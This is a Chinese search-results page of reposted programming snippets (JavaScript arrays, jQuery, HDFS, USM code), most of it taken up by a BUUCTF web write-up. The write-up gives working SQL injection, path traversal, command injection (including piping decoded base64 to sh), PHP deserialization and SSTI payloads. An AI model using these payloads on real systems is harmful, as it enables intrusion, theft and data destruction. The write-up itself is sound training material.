[Array.prototype.incl...]的搜索结果

...回-1。 2. 使用Array.prototype.find()方法 ES6引入了一个新的全局方法——Array.prototype.find()，它可以用来查找满足指定条件的数组元素，并返回第一个匹配的元素。 javascript var arr = [1, "hello", true, null]; console.log(arr.find(function(item) { return item === "hello"; })); // 输出："hello" 在这个例子中，arr.find()方法接受一个回调函数作为参数，该函数会被应用到数组的每个元素上，如果某个元素使回调函数返回true，则该元素会被返回。 3. 使用Array.prototype.includes()方法 ES6还引入了一个全局方法——Array.prototype.includes()，它可以用来判断数组是否包含指定的元素。 javascript var arr = [1, "hello", true, null]; console.log(arr.includes("hello")); // 输出：true 在这个例子中，arr.includes()方法接受一个参数作为参数，如果数组包含该参数，则返回true，否则返回false。 四、总结 JSON数组的查找方法有很多，具体使用哪种方法取决于实际情况。一般来说，如果只需要查找数组中的一个元素，那么使用for循环或者Array.prototype.find()方法都是不错的选择。如果需要判断数组是否包含某个元素，那么可以使用Array.prototype.includes()方法。希望这篇文章能对你有所帮助！

...数和方法，比如数组的Array.prototype.includes、字符串的String.prototype.trim等，这些原生API在很大程度上替代了jQuery的部分功能，使得开发者在不依赖第三方库的情况下也能轻松应对各种浏览器兼容性问题。 总的来说，尽管jQuery在解决旧版浏览器兼容性方面曾经功不可没，但随着技术的发展和浏览器生态的变化，我们应逐步适应并采用更为现代化的开发工具和策略。同时，在过渡阶段，对于那些必须保持向后兼容性的项目，深入理解和运用文中所述的jQuery扩展方法和技巧，无疑能为项目的平稳运行提供有力保障。

...6（ES6）中引入了Array.prototype.includes()方法，可以更直观地判断一个数组中是否存在指定元素。 javascript let myArray = ['apple', 'banana', 'orange', 'grape']; if (myArray.includes('banana')) { // 存在 } else { // 不存在 } 此外，对于大型项目或对性能有较高要求的应用场景，还可以考虑使用lodash等工具库中的_.includes()函数，其具有良好的兼容性和优化的内部实现。 而在jQuery插件设计方面，尽管本文展示了如何基于jQuery扩展数组功能以提高代码复用性，但现代前端开发趋势更倾向于采用模块化和组件化的思维方式。因此，开发者可能会选择将此类逻辑封装成独立的、可复用的函数或类，并通过npm等包管理器进行版本管理和共享。 同时，值得注意的是，虽然jQuery为早期前端开发带来了极大便利，但在追求轻量化、高性能的今天，理解并掌握原生JavaScript API以及现代框架的核心概念与最佳实践，已成为每一位前端工程师必备的能力之一。这不仅可以帮助我们编写出更为简洁高效且易于维护的代码，更能紧跟技术潮流，适应不断变化的前端开发环境。

...ipt实现。例如，Array.prototype.find()、Array.prototype.findIndex()等方法可以替代jQuery的$.inArray()方法，而Array.prototype.splice()则可以实现元素的插入和删除。 最近，有开发者在讨论如何使用最新的JavaScript特性来优化现有的jQuery代码。例如，一个名为“Modernizing jQuery with ES6”的GitHub项目，展示了如何逐步淘汰jQuery，转而使用现代JavaScript语法来实现相同的功能。该项目不仅提供了代码示例，还详细解释了每一步的原因和背后的原理。 此外，Stack Overflow上的一篇热门帖子讨论了如何在不使用jQuery的情况下，实现复杂的DOM操作。其中一个回答提到了使用原生JavaScript的Document.querySelector()和Document.querySelectorAll()方法，结合Array.from()或NodeList.prototype.forEach()方法，可以实现类似jQuery的选择器功能，同时保持代码的简洁性和性能。 这些讨论和实践表明，尽管jQuery仍然具有一定的优势，特别是在向后兼容性和快速原型开发方面，但转向现代JavaScript是一个值得考虑的趋势。通过这种方式，不仅可以提升代码的性能，还能更好地理解和掌握JavaScript的最新发展。对于开发者来说，这是一个持续学习和适应新技术的好机会，以保持自己的技能与时俱进。

...ce等，并且可以通过Array.prototype上的扩展方法进行更复杂的数据处理。在本文语境中，原生数组与jQuery数组相比较，更适合那些不需要jQuery特有功能，而只需利用JavaScript基础数组操作的场景。 toArray()方法 , toArray()是jQuery库提供的一种方法，专门用来将jQuery对象（这里表现为jQuery数组形式）转换为原生JavaScript数组。调用该方法后，返回的新数组包含了原jQuery对象所包含的所有元素，这样开发者就可以在不依赖jQuery的情况下对这些元素执行原生数组的操作。在实际应用中，当需要将jQuery处理的结果传递给只接受原生数组作为参数的方法时，toArray()方法显得尤为重要。

...杂的查询，可以利用Array.prototype.filter()方法简化条件读取操作： javascript var olderUsers = jsonData.users.filter(function(user) { return user.age > 28; }); console.log(olderUsers); 这里我们使用了filter()方法创建了一个新的数组，其中只包含了年龄大于28岁的用户。 3. 进阶 深度条件读取与JSONPath 在大型或嵌套结构的JSON数据中，可能需要进行深度条件读取。这时，JSONPath（类似于XPath在XML中的作用）可以派上用场。虽然JavaScript原生并不直接支持JSONPath，但可通过第三方库如jsonpath-plus来实现： javascript const jsonpath = require('jsonpath-plus'); var data = { ... }; // 假设是上面那个大的JSON对象 var result = jsonpath.query(data, '$..users[?(@.age > 28)]'); console.log(result); // 输出所有年龄大于28岁的用户 这个例子展示了如何使用JSONPath表达式去获取深层嵌套结构中的满足条件的数据。 4. 总结与思考 JSON条件读取是我们在处理大量JSON数据时不可或缺的技能。用各种语言技巧和工具灵活“玩转”，我们就能迅速找准并揪出我们需要的信息，这样一来，无论是数据分析、应用开发还是其他多种场景，我们都能够提供更棒的支持和服务。随着技术的不断进步，未来没准会出现更多省时省力的小工具和高科技手段，帮咱们轻轻松松解决JSON条件读取这个难题。因此，不断学习、紧跟技术潮流显得尤为重要。让我们一起在实践中不断提升对JSON条件读取的理解和应用能力吧！

...-aux-info prototypes.h 不过这样产生的头文件，包含的函数原型太多，除了用户自定义的函数外，标准库中的函数原型都列出来了 本篇文章为转载内容。原文链接：https://blog.csdn.net/szu030606/article/details/7212586。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

... falseVue.prototype.$store = storeApp.mpType = 'app'const app = new Vue({...App,store})app.$mount() 3.4 tabBar组件代码 <template><view><u-tabbar :list="tabBarList" :active-color="activeColor" :inactive-color="inactiveColor" :height="84":border-top="borderTop"></u-tabbar></view></template><script>import store from '@/store'export default {props:{tabBarList:{type:Array,default:uni.getStorageSync('tabBarList')} },data() {return {borderTop: true,inactiveColor: '909399',activeColor: '328CFA',} },}</script> 3.5 setRole方法 登录时，获取返回的权限，然后再调用setRole方法 <script>import { mapMutations } from 'vuex';export default {data() {return {roleId:0,};},methods: {methods: {...mapMutations(['setRoleId']),},//登录login() {this.setRoleId(this.roleId)// 0或者1uni.switchTab({url: '../index/index' //然后跳转到登录后的首页})} }}</script> 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_36410795/article/details/109075488。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

..."文件块位置："+ Arrays.toString(fileStatus.getBlockLocations()));System.out.println("===============================");} } 文件删除 第二参数，true递归删除 //文件删除@Testpublic void testDelete() throws IOException {boolean b = fs.delete(new Path("/testhdfs/"), true);System.out.println(b);} NN与2NN工作原理 本篇文章为转载内容。原文链接：https://blog.csdn.net/Python1One/article/details/108546050。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...sql_fetch_array($query)){ echo "<hr><br>".$row[name]."|".$row[sex]; } ?> 本篇文章为转载内容。原文链接：https://blog.csdn.net/linjiaxingqqqq/article/details/7462453。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...mensional Array Preprocessing） , 这是一种编程中的优化策略，即预先计算出所有可能的查询结果并存入一个二维数组中，以便后续直接查表获取答案，避免重复计算。在此文中，作者利用二维数组ans i j 来存储字符串从位置i到位置j的子串的不同字串数量，这样在面对大量询问时，可以直接通过访问数组得到结果，极大地提高了查询效率。 查询次数（Query Times） , 在算法和数据结构领域，查询次数通常指针对特定数据结构执行查找、检索等操作的次数。本文提及的查询次数为m，表示用户对于给定字符串提出了m个子串查询请求，要求求出每个子串内不重复字串的数量。为了应对高达10000次的查询挑战，文章提出的解决方案通过预处理将时间复杂度降低至O(n^2 + q)，从而确保即使在高查询频率下也能迅速给出正确答案。

...数组（Suffix Array） , 在计算机科学中，特别是在字符串处理和文本搜索领域，后缀数组是一种特殊的数据结构，它将一个字符串的所有非空后缀按照字典序排序并存储其起始索引。在本文的上下文中，作者通过构造后缀数组来快速计算字符串后缀之间的最长公共前缀，并利用此信息解决特定问题。 单调栈（Monotonic Stack） , 单调栈是一种特殊的栈数据结构，在算法设计中用于优化动态规划或其他需要维护有序序列性质的问题。在本文提供的代码实现中，单调栈用于维护height数组的部分区间最小值，根据栈内元素的单调性简化计算过程，从而高效求解最长公共前缀累加和。 最长公共前缀（Longest Common Prefix, LCP） , 在字符串比较和文本处理中，最长公共前缀是指两个或多个字符串共有的、尽可能长的起始子串。文章指出，对于排名i和j的两个后缀而言，它们的最长公共前缀长度可以通过height数组的某个特性快速得出，进而利用这一性质计算所有后缀对之间的LCP值之和。 高度数组（Height Array） , 在与后缀数组相关的算法中，高度数组是一个辅助数组，它的每个元素表示对应后缀在后缀数组中相邻两元素的最大公共前缀长度。本文中的高度数组被用来反映字符串不同后缀之间的相似性程度，是计算LCP值以及优化算法性能的关键数据结构。

...refix Sum Array）是将一个数组中的每个元素与其前面所有元素之和保存在一个新数组中，使得可以通过查询前缀和数组的某个索引值快速获取原数组到该索引位置的所有元素之和。在解决某些区间查询、滑动窗口等问题时，前缀和可以简化问题并提高效率。虽然文章中并未明确提到前缀和数组的应用，但在实际解决类似递增三元组问题时，如果采用合适的数据结构和方法，前缀和可能是优化计算的有效工具。 大规模数据处理 , 大规模数据处理是指对大量（通常超过传统数据库或单机系统处理能力）的数据进行收集、存储、管理和分析的过程。在本文所描述的编程问题中，由于数组长度N最大可达到100000，因此要求解决方案具备有效处理大规模数据的能力，确保在限定的内存消耗（< 256MB）和CPU消耗（< 1000ms）内得出正确答案。这就涉及到如何设计高效算法以及合理利用数据结构，如排序、二分查找等技术手段，以适应大规模数据的挑战。

...tialize 2 arrays on hostint data1 = static_cast<int >(malloc(N sizeof(int)));int data2 = static_cast<int >(malloc(N sizeof(int)));for (int i = 0; i < N; i++) {data1[i] = 25;data2[i] = 49;}// STEP 1 : Create USM device allocation for data1 and data2int data1_device = static_cast<int >(malloc_device(N sizeof(int),q));int data2_device = static_cast<int >(malloc_device(N sizeof(int),q));// STEP 2 : Copy data1 and data2 to USM device allocationq.memcpy(data1_device, data1, sizeof(int) N).wait();q.memcpy(data2_device, data2, sizeof(int) N).wait();// STEP 3 : Write kernel code to update data1 on device with sqrt of valueauto e1 = q.parallel_for(range<1>(N), [=](id<1> i) { data1_device[i] = std::sqrt(25); });auto e2 = q.parallel_for(range<1>(N), [=](id<1> i) { data2_device[i] = std::sqrt(49); });// STEP 5 : Write kernel code to add data2 on device to data1q.parallel_for(range<1>(N),{e1,e2}, [=](id<1> i) { data1_device[i] += data2_device[i]; }).wait();// STEP 6 : Copy data1 on device to hostq.memcpy(data1, data1_device, sizeof(int) N).wait();q.memcpy(data2, data2_device, sizeof(int) N).wait();// verify resultsint fail = 0;for (int i = 0; i < N; i++) if(data1[i] != 12) {fail = 1; break;}if(fail == 1) std::cout << " FAIL"; else std::cout << " PASS";std::cout << "\n";// STEP 7 : Free USM device allocationsfree(data1_device, q);free(data1);free(data2_device, q);free(data2);// STEP 8 : Add event based kernel dependency for the Steps 2 - 6return 0;} 运行结果 本篇文章为转载内容。原文链接：https://blog.csdn.net/MCKZX/article/details/127630566。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...e;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 这里白名单里给了一个提示 尝试直接去访问它 报错了… 尝试穿越目录去访问 依然报错了 看源码吧 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//这里是提供了两个白名单if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr( //返回中文字符串的一部分$page,0,mb_strpos($page . '?', '?') //我们输入flag 但其实它在你的字符串后面加了一个问号，然后返回问号的位置，就是=4//所以想绕过这里，直接?flag，他检测到的问号就是0，然后0，0没有执行 就绕过了);if (in_array($_page, $whitelist)) { //检测是不是在白名单/hint.php?flag 进行绕过 进行目录穿越就可以了return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;} }//上面是定义了一个类if (! empty($_REQUEST['file']) //如果变量不存在的话，empty()并不会产生警告。 && is_string($_REQUEST['file']) //必须是字符串&& emmm::checkFile($_REQUEST['file']) //上面的那个类) {include $_REQUEST['file']; //就包含这个文件 参数也就是fileexit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 所以 最后就是 这样 ?file=hint.php?../../../../../../../../ffffllllaaaagggg 就得到了flag flag{acbbba26-c81b-4603-bcb7-25f78adeab18} [强网杯 2019]随便注 进入题目链接 1.输入：1' 查看注入类型 所以他的sql语句是单引号过滤 2.查看字段 （为2） 1' order by 2 3.显示回显 1' union select 1,2 相当于告诉了我们它的过滤 尝试用堆叠查询试试了 4.查库 1;show database(); 5.查表 1';show tables; 所以是有两个表 1919810931114514 words 6.查列 1';show columns from words; 表名words需要被 这个符号包起来，这个符号是 esc下面一个的按键，这个符号在mysql里 用于 分割其他命令，表示此为（表名、字段名） 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢？ select 函数被过滤了，其实mysql的函数有很多 这里通过 MYSQL的预处理语句，使用 : concat（'s','elect',' from 1919810931114514'） 完成绕过 构造pyload： 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字，字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说，没有回显，联合查询基本没戏。 好在页面会进行相应的变化，证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回，一种是空白，一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母（除过滤的关键词外）都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符，不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接，但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式：pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接，而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候，mysql也可以把 || 作为字符串拼接。 修改完后，|| 就会被认为是字符串拼接符 MySQL中sql_mode参数，具体的看这里 解题思路1： payload：,1 查询语句：select ,1||flag from Flag 解题思路2： 堆叠注入，使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析： 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入：1’ 为'闭合 2.看字段：1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ，太像了，增加了过滤规则。 修改表名和set均不可用，所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据，也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了：cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x，低于7.3.16的7.3.x和低于7.4.4的7.4.x中，将get_headers（）与用户提供的URL一起使用时，如果URL包含零（\ 0）字符，则URL将被静默地截断。这可能会导致某些软件对get_headers（）的目标做出错误的假设，并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点： cve-2020-7066利用 老套路：先F12查看源码 发现提示：Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾，这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点： .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素，并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节，看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢？<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦！");} }else{die("再好好想想！");} }else{die("还想读flag，臭弟弟！");} }// highlight_file(__FILE__);?> 既然getshell基本不可能，那么考虑读源码 看源码，flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件，例如： <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数： localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点： current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步：读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下，利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数，此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由，就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的，参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的，名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象，hexdigest()是获得加密后的16进制字符串 urllib.unquote(） 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog，且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了：secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为：fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入： /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目： 1.tornado是一个python的模板，可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息，想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞，尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入： 查字段：1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表： [GXYCTF2019]Ping Ping Ping 考察：RCE的防护绕过 直接构造：?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格，使用拼接变量来拼接出Flag字符串： 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么：?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥，flag字眼也过滤了，bash也没了，不过sh没过滤： 继续构造payload： ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码，得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass，具体看这里 HP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事： 1.删除空白符2.将某些字符转换为下划线（包括空格） scandir()：列出参数目录中的文件和目录 发现/被过滤了 ，可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload： 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典，要带路径 -r 递归跑(查到一个目录后，重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道，如果password=100，username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时，属性个数的值大于实际属性个数时，就可以 2.private修饰符的问题 private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover， 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法： flask session 伪造 具体，看这里 flask中session是存储在客户端cookie中的，也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题。 [极客大挑战 